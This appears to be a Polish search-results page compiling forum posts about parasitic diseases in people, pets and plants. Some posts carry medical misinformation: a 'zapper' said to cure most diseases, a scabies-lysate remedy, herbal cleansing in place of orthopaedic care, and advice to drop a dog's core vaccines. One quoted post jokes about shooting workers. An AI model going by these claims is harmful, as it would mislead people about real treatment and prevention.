Wyniki wyszukiwania dla hasła: Choroby pasożtnicze

gucio chyba nie wie, co to sa...
czy Gucio wie co to sa parchy, skoro tak czesto uzywa tego slowa? sadze, ze
nie... tutaj wyjasnienie:

Parch, grupa chorób wywoływanych przez grzyby, występujących u drzew
owocowych oraz ziemniaka. Parch jabłoni i gruszy to groźna choroba wywoływana
przez pasożytnicze grzyby z rodzaju Venturia, jej objawem są czarne plamy na
liściach i owocach, przy czym porażone owoce są często zniekształcone i
popękane, a liście przedwcześnie opadają.

Parch prószysty ziemniaka wywoływany jest przez pasożytnicze grzyby z gromady
śluzorośli i powoduje powstawanie na podziemnych bulwach okrągłych, drobnych
ranek. Parch zwykły ziemniaka jest chorobą bakteryjną, powodującą wystąpienie
na bulwach szorstkich strupów. Wystąpienie parcha może doprowadzić do dużych
strat w plonach.


Służę:
OGLOSZENIA - Polonia Miami
... jaskra, stwardnienie rozsiane, zapalenie stawow, altretyzm, reumatyzm,
paradontoza,
zakazenia grzybicze i pasozytnicze, chroniczne zmeczenie, fibromalagia ...
www.poloniamiami.com/cgi-bin/ oglosz/sprzedam.php?page=13 - 12k - Kopia -
Podobne strony

Choroby przenoszone drogą płciową
... Objawy zakazenia to chroniczne zmeczenie, powiekszenie wezlów chlonnych,
przedluzajaca
sie goraczka, potliwosc, biegunki, infekcje skóry, ukladu oddechowego ...
gotowce.com.pl/prace/praca/430.php - 26k - Kopia - Podobne strony

WYLECZONA !
... Ten sam pasozyt znajdowal sie czesto u osób cierpiacych na alergie,
reumatyzm,
egzeme, depresje, chroniczne zmeczenie, problemy z perystaltyka jelit. ...
www.rubikon.home.pl/bemer/wyleczona_!.htm - 22k - Kopia - Podobne strony

taki Simonton, który uprawia psychoonkologię (z pozytywnym statystycznie rezultatem!), przy tobie nawet by pomyśleć nie mógł o czymś takim...
bo jak wdrażać nowe metody, skoro wolno tylko "sprawdzone"...

cyt.: "Slowo 'terapia' winno byc zarezerwowane dla technik czy srodkow o udokumentowanej skutecznosci. Laczenie go z przedrostkiem 'psycho-' jest wobec
nieudokumentowanej skutecznosci psychotechnik nieco pasozytnicze."

to chłopie zróżnicuj nieco swoje lektury. bo niektórzy "ten-tego-psycho" i wyciągają ludzi z całkiem poważnych chorób!
(co nie oznacza, że każdy, uprawiający "psycho..." potrafi być skuteczny)

do bokaja: wreszcie troche tlenu..
bokaj napisał (do P.K. 00.58):
"taki Simonton, który uprawia psychoonkologię (z pozytywnym statystycznie
rezultatem!), przy tobie nawet by pomyśleć nie mógł o czymś takim...
bo jak wdrażać nowe metody, skoro wolno tylko "sprawdzone"...
cyt.: "Slowo 'terapia' winno byc zarezerwowane dla technik czy srodkow o udokum
entowanej skutecznosci. Laczenie go z przedrostkiem 'psycho-' jest wobec
nieudokumentowanej skutecznosci psychotechnik nieco pasozytnicze."
to chłopie zróżnicuj nieco swoje lektury. bo niektórzy "ten-tego-psycho" i
wyciągają ludzi z całkiem poważnych chorób! (co nie oznacza, że każdy,
uprawiający "psycho..." potrafi być skuteczny)"

No wreszcie troche tlenu !!! I nie trzeba udawac ginekologa.


Nie tedy DROGA!
Gość portalu: sir_chuck napisał(a):

>
> Panowie wiadomo co trzeba zrobic, aby wogole miec szanse
> pomyslec o czym pisal QUANT.
>
> Jak spowodowac aby pasozytnicze rolnictwo, gornictwo, PKP,
> hutnictwo itd. itp. nie wyciagaly lapy do naszych kieszeni?
> Przeciez nie ma szans, aby zmienili orientacje polityczne i
> glosowali na partie liberalne! Wiec pozostaje czekac, az ta
> cholota wymze i miec nadzieje, ze kiedys ich nstaepcy beda
> odrobine mozdrzejsi i nie bede glosowac na LSD, UP, LPR i
> Samoobrone!

...obawiam sie, ze tego nie dozyje. Bo Homo Sovieticus to choroba bardzo mocno
zakazna. Wymarcie jednego pokolenia NIC nie zmieni.

Wyobraz sobie np., ze nazagorzalszymi wrogami kapytalysty sa w tej chwili
mlodziutkie urzedniczki z uS! Naprawde! Te starsze (rocznik produkcji: pozna
lub srednia komuna) staraje sie chyba zrozumiec o co w tym chodzi - mlodsze
jedyne co maja do zaoferowania kapytalyscie to teksty nt. tego ile to ja
zarabiam, a one nie! I ze calkiem niesluszna "kara" to i tak malo w stosunku do
mojej (wydumanej) kasy - "niech mi pan tu nie klamie, ze pan nie ma pieniedzy -
przeciez to tylko 25 tys.!!!". Cwiczone - nie zmyslone!

>
> A jesli chcemy to zmianic od zaraz to trzeba ich rozstrzelac i
> wtedy zadna pomoc socjalna nie bedzie potrzeba juz nie mowiac o
> strajkach, grozbach, glodowkach itp. Oni tylko to potrafia, a do
> pracy NIE MA KOMU :(

Czy Ty wiesz ile kosztuje amunicja...?

To bioterapeutyk przyrządzany na bazie lizatu płynów z pęcherzyków świerzbu.
Wpływa przede wszystkim na:
- stan skóry : alergie, pokrzywka, wyprysk, wysypki,łojotok
- błony śluzowe: infekcje nosa, gardla i uszu, oskrzeli, astma oskrzelowa,
katar sienny, choroby okrężnicy.
- na psychikę - zwłaszcza wtedy gdy pacjent załamuje się kiepskimi efektami
dotychczasowego leczenia
-choroby pasożytnicze.
- migreny ( poprzedzone euforią w przededniu wystąpienia bólów glowy + głód +
poprawa w cieple)

A także wtedy , gdy nie skutkują inne leki ( czyli występuje brak reakcji na
nie, a zwłaszcza na sulfur)

Ogólnie rzadko który lekarz wypisze skierowanie na nasze rządanie. Jestem w 9
miesiącu, wszystkie badania robiłam sama w laboratorium na Jana Pawła, tam
ciężarne mają zniżkę. A toxo i cytomegalia to nie są hormony, nie wiem kto ci
coś takiego powiedział. Są to po prostu choroby (pasożytnicze) i jeśli jest się
w ciąży, to trzeba sprawdzić ich nosicielstwo. Toxo kosztuje 45 zł, cytomegalia
35. Mam nadzieję, że pomogłam:)

Wiem ze toxo i cytomegalia to nie hormony, wrzucilam je poprostu do jednego
worka do badań które się robi czy to w ciąży czy po poronienu czy przed ciążą.
dziekuje za odpowiedz , wiem ile to kosztuje, chcialam sie zoorientowac czy
mozna je zrobic bezplatnie. A wiem ze mozna , tylko jak zwykle w naszym
koszalinie nic nie mozna.....

bulikinia napisała:

> Ogólnie rzadko który lekarz wypisze skierowanie na nasze rządanie. Jestem w 9
> miesiącu, wszystkie badania robiłam sama w laboratorium na Jana Pawła, tam
> ciężarne mają zniżkę. A toxo i cytomegalia to nie są hormony, nie wiem kto ci
> coś takiego powiedział. Są to po prostu choroby (pasożytnicze) i jeśli jest się
> w ciąży, to trzeba sprawdzić ich nosicielstwo. Toxo kosztuje 45 zł, cytomegalia
> 35. Mam nadzieję, że pomogłam:)

świerzbowiec i profilaktyka
beali napisała:
> Ooo,teorię o genetycznym uwarunkowaniu świerzbowaca słyszę pierwszy raz.
> Świerzb jest chorobą zakaźną,którą wywołuje pasozyt,malutki kleszcz,a tego
wg.mnie raczej genetycznie nie da się przenosić z pokolenia na pokolenie.

Ooo, a ja pierwsze słyszę, że świeżbowiec ma cokolwiek wspólnego z kleszczem
Świerzbowiec uszny, o któtym pospolicie mówi się po prostu świerzb uszny, jest
chorobą wywoływaną przez pasożytnicze pajęczaki. Zamieszkują one kanał
słuchowy, który stopniowo wypełnia się ciemnobrunatną wydzieliną, złożoną z
martwego naskórka, odchodów pajęczaka i bakterii. Miałam ostatnio wątpliwą
przyjemność ogłądać świerzbowca pod mikroskopem
A ciąłe nawroty tej choroby wynikaja przede wszystkim ze zbyt słabej odporności
kota - należeło by wtedy pomyśleć o podaniu zwierzakowi preparatów
wzmacniających odporność, albo z niewłaściwego leczenia (ukończenia kuracji
przed całkowitym wyleczeniem).
Przy odpchlaniu i odrobaczaniu kota raz na jakiś czas warto użyć preparatu
StrongHold - likwiduje on przy okazji także świerzbowca - za jednym zamachem
kot pozbywa się wszystkich pasożytów (no, może oprócz tasiemca...)

mircea napisała:

> Ooo, a ja pierwsze słyszę, że świeżbowiec ma cokolwiek wspólnego z kleszczem
> Świerzbowiec uszny, o któtym pospolicie mówi się po prostu świerzb uszny, jest
> chorobą wywoływaną przez pasożytnicze pajęczaki. Zamieszkują one kanał
> słuchowy, który stopniowo wypełnia się ciemnobrunatną wydzieliną, złożoną z
> martwego naskórka, odchodów pajęczaka i bakterii.

Pięknie przepisane,bądź wyuczone na pamięć np.z Leksykota-chwali się
Jednakże śpieszę donieść,że kleszcze to pajęczaki i świerzbowaca wywołuje właśnie jeden z nich.

> A ciąłe nawroty tej choroby wynikaja przede wszystkim ze zbyt słabej odporności
>
> kota - należeło by wtedy pomyśleć o podaniu zwierzakowi preparatów
> wzmacniających odporność, albo z niewłaściwego leczenia (ukończenia kuracji
> przed całkowitym wyleczeniem).

Nie wiem nic na ten temat,jak zresztą wynika z mojego poprzedniego wpisu.

> Przy odpchlaniu i odrobaczaniu kota raz na jakiś czas warto użyć preparatu
> StrongHold - likwiduje on przy okazji także świerzbowca - za jednym zamachem
> kot pozbywa się wszystkich pasożytów (no, może oprócz tasiemca...)
>
Zgadzam się

Zapper nie robi nic innego tylko usuwa pasożytnicze obciążenie organizmu.Ale
ponieważ przyczyną większości chorób są pasożyty to (o czym lekarze najczęściej
nie wiedzą) to zapper pomaga w większości chorób.
Jak go używać podano w portalu medycyny naturalne www.pozytywnewibracje.com.pl
Tam na górze kliknąć Forum i jeszcze raz Forum Onkolink.

marynia37 napisała:

> Zapper nie robi nic innego tylko usuwa pasożytnicze obciążenie organizmu.Ale
> ponieważ przyczyną większości chorób są pasożyty to (o czym lekarze najczęściej
> nie wiedzą)

A dlaczego tobie zapper nie pomaga na twoje obciazenia?

marynia37 napisała:

> Zapper nie robi nic innego tylko usuwa pasożytnicze obciążenie organizmu.

Tak wiem. To twoja mantra pod tytułem "zapper usuwa bakterie i pasożyty".

> Ale
> ponieważ przyczyną większości chorób są pasożyty to (o czym lekarze najczęściej
>
> nie wiedzą)

Co za głupole.

> to zapper pomaga w większości chorób.
> Jak go używać podano w portalu medycyny naturalne www.pozytywnewibracje.com.pl
> Tam na górze kliknąć Forum i jeszcze raz Forum Onkolink.

A jak pilotować statek kosmiczny klasy Enterprise dowiesz się na
www.star-trek.com. Tam na górze kliknij forum a dalej "porady dla pilotów" ;)

choroby odzwierzęce i pasożytnicze
Po artykule w Gwiazdy Mówią o Gabinecie Integrum " Zapperem w pasożyta "
( XI/05) mój kuzyn odwiedził tę placówkę na ul.Bernardyńskiej 5-parter.
Jakie było jego zdumienie, gdy dowiedział się,że mozliwą przyczyną jego bólów
przy chodzeniu jest toksyna salmonelli, a nie reumatyzm . Zamiast
dotychczasowych opinii ortopedów - to już zostanie - przed miesiącem zalecono
kurację oczyszczającą : ziola,kropelki.Od kilku dni nie narzeka, chodzi na
spacery i zachęca sąsiadów do skorzystania z tego Gabinetu.
Na razie byłem na ich stronie. Jest co poczytac.www.paramed.waw.pl Może ktoś
chce sprobować na sobie ?

Anatomia:
Atlas Sobotty-chyba najlepszy
skrypty Skawiny(czsami można się zaplątać)
Wożniak ,,Anatomia człowieka"(konkretnie napisana)
Bochenek(prosto napisany,ale długi,najlepiej czytać streszczenia)
Pituchowa(trudny dość język)
japoński atlas fotograficzny(do szpilek się przydaje)
Histologia:
Zabel,,Histologia"(będzie prowadząca i w zasadzie starczy na I roku)
Atlas Sobotty
na majowe seminaria z embriologii przyda się Bartel.Jest jeszcze stara książka
Ostrowskiego,,Embriologia ogólna"
Sawicki ,,Histologia"-bardziej się przyda na II roku
Biologia:
Buczek W.,,Choroby pasożytnicze-
diagnostyka,epidemiologia,leczenie,objawy"(chyba najlepsza,pasuje do
skryptu,który kupisz na akademii)
Deryło,,Parazytologia"
Kadłubowski-trochę przestarzała
z ekologii ,,Ekologia.Krótkie wykłady",ale tak ogólnie ciężko coś akurat z tego
polecić
z genetyki-Connor(ale ciężko dostać).Przydają się ,,Podstawy genetyki"pod
red.Drewy i ,,Genetyka"(pod red.Limona)
Biofizyka:
W AMB kupisz skrypt,przyda się Jaroszyk i Miękisz
Łacina:
Na akademii kupisz skrypt Chomoncika
J.angielski
E.Donesch-Jeżo,,English for medical students and doctors" na I roku to część
pierwsza.

Kto ma sprzątać psie kupy?
Myślę, że działania (zarówno właścicieli zwierząt, władz miejskich i
mieszkańców nie posiadających psów i kotów) byłyby bardziej energiczne, gdyby
powszechnie znane stały się prawdziwe konsekwencje pozostawiania zwierzęcych
odchodów na chodnikach i trawnikach. Temat jest nieapetyczny ale warto
wiedzieć, że w odchodach zwierzęcych żyją pasożyty. Są one dość odporne na
warunki atmosferyczne. Bezpańskie gówienko wysycha, pasożyty unoszą się wraz z
kurzem i wszyscy (właściciele, władze i pozostali mieszkańcy) oddychają
powietrzem pełnym mikroskopijnych jajeczek a czasem już larw. Znajomy dr
weterynarii opowiadał mi o znanym sobie przypadku, gdy larwa rozwinęła się w
oku (za rogówką) dziecka. Dziecko zaczęło tracić wzrok, gorączkowało i tylko
dzięki uporowi rodziców, którzy zmusili lekarzy do starannego przebadania syna
znaleziono przyczynę choroby. Takie same larwy mogą rozwinąć się w naszych np.
płucach. Choroby pasożytnicze są niełatwe do wykrycia. Najczęściej pacjenci
leczą się niewłaściwie, ponieważ nie znają prawdziwej przyczyny swoich
dolegliwości. Pomyślcie o tym czym wszyscy oddychamy, kochani "psiarze", zanim
pozostawicie na trawniku niewinną kupkę swojego Burka.

Nie popadajmy w panikę z wieprzowiną – mięso dobre jak każde inne tylko trochę
tłustsze , pamiętacie aferę z BSE i wołowiną ? , podobnie kiedyś było z
wieprzowiną i włośnicą – bo to o nią najbardziej tu chodzi ale także o inne
choroby pasożytnicze , które niestety nadal się zdarzają ale dzięki wnikliwej
kontroli mięsa są bardzo silnie ograniczone.
Moje psy uwielbiają surową wieprzowinkę , wołowinkę, drób o innych rzeczach
także kartofelkach nie wspominając – choć ze surowymi radziłbym uważać –
solanina czyli alkaloid w nich zawarty w większych ilościach może spowodować
poważne zatrucie ale gotowane jak najbardziej – za wiele nie dadzą dla psiego
apetytu – pies bardzo słabo radzi sobie ze skrobią ale jakie smaczne.
Pozdrawiam

Dziękuje - troszkę mało tego :)

Dla ułatwienia podam, że najbardziej ineteresują mnie choroby pasożytnicze typu świerzb, grzybica (jakie rodzaje), nużyca - jakies podobne (jeśli jest ich więcej). Nie chce jakiś dużych informalcji, wystarczy mi tylko nazwa polska, a szcześliwy bym była gdyby ukazała się też nazwa łacińska, wtedy będe na temat danej choroby mogłą przeczytać na zagranicznych stronach...

pozdrawiam :)

Trzy dni to stanowczo za dłogo by zwlekać z wizytą u lekarza weterynarii.
Przyczyn wymiotów może być całe mnóstwo i nie sposób zdiagnozować przez
internet co tak naprawdę moze pieskowi dolegać. Moze byc to np. ciało obce w
przewodzie pokarmowym, moze być zatrucie toksyczne, moze być infekcja
bakteryjna lub wirusowa, moze być zarobaczenie pasożytnicze, może być chora
wątroba lub chore nerki, może być to choroba odkleszczowa, a moze być tysiac
innych przyczyn.
Nieleczone choroby pogłębiają sie, dlatego radziałbym nie zwlekać z wiyztą.

ptymus napisał:

> jotde2 napisał:
>
> > twój nick sugeruje związek z "dietą optymalną " kwaśniewskiego.
>
> Hmm.. oczywiście czytałem książki dra Kwaśniewskiego i chociaż nie ze wszystkim
> się zgadzam, to konfrontując to z obecnym stanem wiedzy muszę w wielu
> przypadkach mu przyznać rację. Żywienie tego typu stosuję od ponad 10-ciu lat
> no i takich jak ja znam setki.

Mysle, ze glownie czytales ksiazki tego pana od tej tluszczowej diety, nie
rozumiem wiec dlaczego sie tego teraz wypierasz?

Pisac o tym, ze sie stosuje jakas diete od ponad 10, 20 czy wiecej lat i jest
sie zdrowym, to moze sobie kazdy, zwlaszcza anonimowo w sieci.

Tak jak wczoraj tu napisalem, diete niskoweglowodanowa stosowal w przeszlosci
tylko nendertalczyk(ktory chorowal, glownie na choroby infekcyjne, pasozytnicze.
artretyzm i nowotwory), a bardziej wspolczesnie Eskimosi.
Ale ich dieta bardzo sie roznila od tej, zalecanej przez tego pana od
"optymalnej" diety.

Szkoda, ze nie masz odwagi napisac ile osob i to nierzadko mlodych, juz zmarlo
na skutek zastosowania tej optymalnej diety oraz ile osob chorych przenioslo sie
szybko do wiecznosci, bo zastosowali ta diete podobno w celach leczniczych.

Nie piszesz czlowieku calej prawdy, dlatego jestes malo wiarygodny.

> > niesądzisz ze żywienie sie głównie tłuszczem
>
> To nie jest żywienie się głównie tłuszczem :-)

Jak nie, jak tak. U was tluszcz glownie nasycony to przeciez podstawa.


Dobrze jest sprawdzić czy przyczyną dolegliwości nie są jakieś choroby
pasożytnicze. Jeśli nie to poczytaj sobie o Diecie optymalnej, powinna ona w
twej sytuacji pomóc. Głównie poprzez ograniczenie pokarmów zawierających
błonnik, który drażni jelito (wbrew utartym poglądom może to być jedna z
przyczyn dolegliwości jelitowych).

W ostatnim numerze czasopisma "Optymalni" w cyklu "Lekarze o ..." zestawione są
opinie o tej chorobie zaprezentowane z jednej strony przez
lekarza "konwencjonalnego" a z drugiej optymalnego. proponuję lekturę
(czasopismo można kupić w każdym Empiku).
Pozdrawiam

"Nie mozesz napisac mniej enigmatycznie,prosze?" Mogę tylko, że dawanie takich
dokładnych odpowiedzi bez zbadania pacjenta mija się z celem. Co trzeba głównie
wyklucyć? Różne postacie zapalenia jelit, choroby infkcyjne i pasożytnicze,
nowotwory łagodne i złośliwe, zespół złego wchłaniania itd. Objawy o jakich
pisał bryku wymagają wyjasnienia, a przez sieć nie mozna, a nawet nie wolno
tego zrobić. Pozdrawiam

Masz objawy z ukladu nerwowego i pewnie nigdy nie miales uczciwego badania
glowy - stad sugestia. MRI jest o ile wiem najdokladniejsze a pasozyty nie
musza siedziec tylko w przewodzie pokarmowym. Moga sobie siedziec w wielu
innych miejscach i wytwarzac rodzaj torbielek. Takie torbielki moga dawac rozne
objawy w zaleznosci od umiejscowienia. Sugeruje wiec zebys udal sie ponownie do
lekarza i podzielil z watpliwosciami i mam nadzieje twoj lekarz przeprowadzi
dalsza diagnostyke lub odesle cie do specjalisty.

Choroby pasozytnicze to juz od dawna nie moja branza wiec byc moze jakis inny
forumowy lekarz cos dopowie?

Choroba ta wystepuje u osob zawodowonarazonych na dzialanie promieni
jonizujacych (rentgenowskich, izotopy); w chorobach uczuleniowych: dychawica,
pokrzywka,uczuleniowe chor.skory; chor.pasozytnicze: wlosnica,
toksoplazmoza,lamblioza,glistnica,tasiemczyca; świerzb,pecherzyca,łuszczyca; w
kolagenozach; w chor.zakaznych: plonica,ostra zakazna limfocytoza, w
niekt.chor.zakaznych podczas ich wylegania albo juz w okresie zdrowienia; w
nowotworach zlosliwych przew.pokarm., wrzodziejacym niezycie jelit. Szkoda ze
nie piszesz nic o jakis objawach, bo jak widac zakres jest duzy. A swoja droga
z jakiegos powodu badalas eozynocyty - nie jest to badanie rutynowe...

Gość portalu: Artur napisał(a):

> Stress je nasila, wystepuja czesciej w przebiegu ADHD oraz niektorych chorob
> pasozytniczych. Czasem nie wiadomo dlaczego - taka twoja uroda.
>

co to jest ADHD?
jakie choroby pasożytnicze mogą powodować zgrzytanie?

> Uniknac? Jakies cwiczenia relaksacyjne redukujace wplyw stresu oraz unikanie
> stresu.
> Ponoc tez uzywanie aparatu dentystycznego redukuje samo zgrzytanie po kilku
> miesiacach. Czyli moze nie trzeba zawsze spac w tym aparaciku, ale mozna
robic
> okresowe przerwy.

Przez 2 lat anosiłem stały aparat ortodontyczny. teraz od ponad pół roku płytki
retencyjne, ale raczej to nie pomaga.

pozdrawiaM.

Znalazłam cos takiego w odniesieniu do AZS:
cyt.:
Diagnostyka różnicowa atopowego zapalenia skóry

Inne rodzaje wyprysku
wyprysk łojotokowy wyprysk kontaktowy
wyprysk pieniążkowy
wyprysk potnicowy
wyprysk z podrażnienia
Niedobory immunologiczne
przebiegające ze zmianami
rumieniowo-wypryskowymi:
zespół Wiskott-Aldrich
zespół DiGeorge'a
ciężki kombinowany niedobór odporności
ataxia-teleangiectasia
hiperimmunoglobulinemia IgE
Choroby infekcyjne i pasożytnicze
grzybice
świerzb
nawracające infekcje:
gronkowcowe
wirusowe (HZV)
zakażenie HIV
Choroby metaboliczne:
fenyloketonuria
tyrozynemia
histydynemia
Choroby nowotworowe:
T-cell limfoma skóry
histiocytoza X
zespół Sezariego

Te madrości możana sobie odpóścić, ale wyryski wymienione w pierwszych wersach
sa dość często rozpoznawane jako alergia.Pozdr., Beata.

Agnieszkio!
a zaglądałaś na tym forum na wątki o pasożytach?
Lamblie, candida ..itp?
Może to tylko "alergo-iddentyczne" objawy ale związane z pasożytami? Skoro
eliminacja nie pomaga... zajrzyj tam. Przejrzyj ostatnie 5 stron tego forum,
pobieżnie tylko tematami. Dodam, że choroby pasożytnicze są niezależne od
wieku. Dadam, że nie mają związku z higieną. Dodam, że zwykły posiew kału ich
wogóle nie obejmuje. Spróbuj. Nam się opłaciło!

kurka, musialy robale zaatakowac okolice rdzenia?czy to mozliwe? (glupie
pytanie, chyba tak...).
Ale Zosia, to cenna uwaga, bo czasem faktycznie czy to u psow, kotow czu u ludzi
przyczyn choroby szuka sie we wszystkim tylko nie w pasozytach (tak jakby ten
dzisiejszy - powiedzmy, ze bardziej sterylny swiat - mial nas chronic przed tym
paskodztwem). Ja gdyby nie to forum oraz inne, nie mialabym pojecia, ze trzeba
miec na uwadze ewentualne infekcje pasozytnicze, myslalam, ze problem ten
dotyczny dzis glownie dzieci...a ze dzieci nie mam...

Oczywiscie, proszę bardzo. Prywatna Opieka Lekarska i Stomatologiczna ul. 1
Maja 88, Katowice, tel 032 255 51 18, 032 255 21 80. www.klinikapolis.pl
dr nauk med. specjalista chorób zakaźnych Anna Chełmicka, (choroby: zakaźne,
pasożytnicze, odzwierzęce) przyjmuje 3 razy w tygodniu : poniedzialek, sroda,
piatek (i rano i po południu), rejestrowac mozna sie codziennie telefonicznie
od 8.00-20.00, nie ma długiego czekania na wizyte. Koszt 80 zł

Obszar tematyczny wymaga kontaktu z endokrynologiem ( lub czytania podręczników
do endokrynologii) i wykracza poza ramy forum
PS.Istnieją także predyspozycje genetyczne, które wpływają na wygląd
człowieka.Są także inne choroby np.pasożytnicze, które powodują chudnięcie.
Najlepiej o tym porozmawiać ze swoim lekarzem POZ.

pozdrawiam! Balbinko już pisałam wcześniej mam 49 lat historia mojej choroby
zaczeła się w czerwcu zgłosiłam się do lekarza z wysoką gorączką wyskim OB
(trzy Cyfrowe)anemią podejrzewali u mnie nowotwór lewej nerki wysunięte w
oparciu o komputerowe badania obrazowe nie potwierdziły się w badaniu
arteriograficznym.Wykluczono septyczną przyczynę gorączki ( ujemne posiewy krwi
i moczu)brak było reakcji na szerokowidmową antybioterapię,wykluczono również
zakażenie pasożytnicze (Toxoplasma gongi)oraz infekcje CMV.Podejrzewając
kolagenozę jako przyczynę stanów gorączkowych włączono pulsy Solumedrolu oraz
dożylnie Endoxan,również nie uzyskując spadku temperaturyi poprawy stanu
ogólnego .W tej chwili poszukują u mnie nowotworu miałam badania tj.Mamografie
piersi,prześwietlenia klatki piersiowej,badania
tarczycy,cytologię,kolonoskopie,gastroskopie miałam robioną jakąś biopsję z
biodra i badanie jakiś siodełek tureckich w głowie (nie wiem czy dobrze
nazywam badania) wszystko jest zdrowe czy możesz mi podpowiedzieć gdzie ja mam
się udać i co dalej badać.Obecnie czekam na wynik badania trepanobiopsja
szpiku .Czy ja jestem chora na raka pomóż Balbinko .pozdrawiam i czekam na
szybką odpowiedz.

Świad może być objawem wielu chorób począwszy od wspomnianych tu alergicznych
przez immunologiczne po pasożytnicze czy nawet bakteryjne.
Ogólnie najważniejsza jest diagnoza. Stąd moje pytanie kiedy odpchlano Waszego
psiaka ostatni raz??? Czym go żywicie i jak często i kiedy zmieniliście coś lub
coś zmieniło się w jego otoczeniu - nowa kanapa, posłanie, obróżka, miska,
jedzenie, smakołyk, perfumy, proszek itp.
Jak intensywnie się drapie i czy jest to uwarunkowane jakąs porą dnia, czy
czymś charakterystycznym??? Które miejsce najczęsniecj drapie (grzbiet,
uszy...)??? Czy doprowadził już tym drapaniem do zmian skóry, do stanów
zapalnych, skaleczeń??? czy skóra jest czerwona, zmieniona???
Ogólnie rzecz biorą istotny jest fakt, że alergen powodujący alergię jak np:
uczulenie na ugryzienia pcheł w organizmie przebywa dużo dłuzej niż sama pchła.
Nawet jeśli zlikwidujemy pchły alergen wciąż będzi epowodował świad mimo, że
pcheł już nie będzie. Podobnie jest w przypadku innych alergenów. podobnie jest
w przypadku alergii pokarmowych. Remisja alergenu to długotrwała praca
właściciela i psa. Stąd nie spodziewamy się wczesniej niż po upływie 4tygodni
poprawy w przypadku wyeliminowania czynnika powodującego świad.
Koniecznie zgłoście się do dobrego dermatologa. Skąd jesteś napewno pomożemy
Wam kogoś znaleźć???
Pozdrawiam - ava

Na wszelki wypadek zrobilabym u niego badanie kału. Trzeba wykluczyć choroby
pasożytnicze przewodu pokarmowego plus pierwotniacze typu lamblioza czy
kokcydioza. Kał do badania przyjmowany jest w większosci lecznic
weterynaryjnych - z tym że rutynowo kał sie bada tylko na robaki, więc trzeba
uwzględnić na skierowaniu,ze to ma być też na pierwotniaki - wtedy potrzebne
jest inne barwienie. Ewentualnie też badanie kalu na aktywność trypsyny.
Jesłi wszystko będzie ok, można przypuszczac że pies może być uczulony na
nośnik szczepionki przeciwko wściekliźnie i w przyszlym roku poprosić lekarza
aby zaszczepił go przeciwko wściekliźnie szczepionką innej firmy. jeśłi chodzi
o pozostałe szczepionki (te rozbudowane - nosówka, parwo itd.) na Waszym
miejscu zrezygnowałabym z nich w ogóle.

przygarnęłam kotka a teraz mam same problemy...
Zdecydowałam się przygarnąć kotka, któy od ponad 1,5 tyg siedział na drzewie
nie daleko mojego domu. Był atakowany przez pobliskie psy i koty, więc
pomyślałam, że jak mu nie pomogę to na pewno zginie. Co najważniejsze kocham
zwierzęta, ale miałam duże wątpliwość ponieważ mam dwoje maleńkich dzieci, a
to wkońcu nieznany zwierzak. Wet po pierwsze leczył bo kot był chory
odrobaczył 3x. Pytałam czy to wystarczy ale zapewniał mnie na 100%, że tak
(uprzedzałam, że mam dwójkę małych dzieci) Szukałam kogoś kto zechciałby go
przygarnąć ale na próżno. I tak mijały miesiące, kot w międzyczasie został
zaszczepiony na co się dało i tak sobie żyliśmy do póki jeden z moich synków
(12 m-cy) nie dostał choroby kociego pazura.. (antybiotyk i takie tam),
później kotka została wysterylizowana i zwymiotowała glisty!!!!!!!

Wet miał głęboko gdzieś żeby ze mną porozmawiać, powiedzieć coś wiecej o
glistach kocich. Kazał dać Pytrantelum, a jak każdy fachowiec potwierdzi nie
jest to lek któy pomaga przy glistach odzwierzęcych. I tak cała rodzina
uważa, że jestem nieodpowiedzialną matką bo przyniosłam zagrożenie dla
dzieci. Naprawdę nie wiedziałam , że choroby pasożytnicze od zwierząt są tak
niebezpieczne.

Błagam poradźcie co zrobić, jak mieć pewność że dzieciom nic nie zrobi?
Co zrobić z kotkiem (pokochałam ją, jest naprawdę przemiła) bo cała rodzina
uważa, że nie powinna być z nami? I wreszczcie znowu nie działają leki na
robale??

Będę wdzięczna za odzew

Pies czeka na pomoc....
Od ponad roku mój 2.5 letni pies Amstaff ma problemy ze skórą. Po miomo
odwiedzenia wielu weterynarzy i stosowania u pasa wileu lekarstw nie
stwierdzono przyczyny, ktora wywołuje ropne krostki pojawiające się w okolicy
podbrzusza, zadu, łokci, krosty z czasem wysychają i zamieniąją sie w strupy
czemu towarzyszy wypadanie siersci(dość spore). Pies własnie zkończył serie
zastrzyków Gentaveto niestety bez wyraznej poprawy kondycji skóry. Wczoraj
okropnie spuchla mu klatka piersiowa i podgardle, a na lewej łopatce urosła
mu ropna gula wielkości okazałego jabłka Weterynarz nie wiedząc co jest
przyczyną opuchlizny chce psu pod narkozą zrobić dziure w podgardlu i
wypuscić płyn surowiczy, ktory się tam znajduje, czy mam się na to zgodzić?
czy to coś pomoze?. Prosze o pomoc w ratowaniu ukochanego psiunia.( U psa
wykluczono nużyce i inne pasożytnicze choroby oraz grzybice)Leczony był
Iwermetkyną,Amoksiklav, Eltroxin,Pimafucort,Vecort, Tetra-Delta

Sprawdziłam na toksoplazmoze i toksokaroze wykonuje sie z krwii test ELISA w
którym bada sie poziom immunoglobulin, tych, które wcześniej wymieniłam. Oprócz
zwykłej morfologii z rozmazem oczywiście, gdzie w takich przypadkach jest
znacznie podwyższony poz. leukocytów i granulocytów kwasochlonnych(te są przy
każdych pasożytach i alergiach podwyższone).Nie wiem tylko czy takie testy
specjalistyczne na choroby odzwierzęce robi sie w laboratorium w zwykłym
szpitalu czy należy zrobić je w szpitalu zakaźnym. Jesli podejrzewasz wogóle
zakażenie pasożytnicze to danie kału do badania jest wskazane, dzięki temu
bedziesz miała pełny obraz.Zycze powodzenia, Beata

Neutrocyty - Granulocyty obojętnochłonne (NEUT)*2 1,8-7,7 x 109/l
Ich zwiększenie obserwujemy w zakażeniach miejscowych i ogólnych, chorobach
nowotworowych, hematologicznych, po urazach, krwotokach, zawałach, w chorobach
metabolicznych, u palaczy oraz u kobiet w trzecim trymestrze ciąży. Spadek
liczby neutrocytów występuje w zakażeniach grzybiczych, wirusowych (grypa,
różyczka), bakteryjnych (gruźlica, dur, bruceloza), pierwotniakowych (np.
malaria), w toksycznym uszkodzeniu szpiku kostnego, przy leczeniu
cystostatykami.

Limfocyty (LYMPH)*2 1,0-4,5 x 109/l
Ich liczba wzrasta w takich chorobach, jak krztusiec, chłoniaki, przewlekła
białaczka limfatyczna, szpiczak mnogi, odra, świnka, gruźlica, kiła, różyczka,
choroby immunologiczne. Natomiast spadek (pancytopenię) może wywołać stosowanie
kortykosterydów, a także ciężkie zakażenia wirusowe.

Eozynocyty - Granulocyty kwasochłonne (EOS)*2 0-0,45 x 109/l
Zwiększenie ich wartości wywołują choroby alergiczne, zakaźne, hematologiczne,
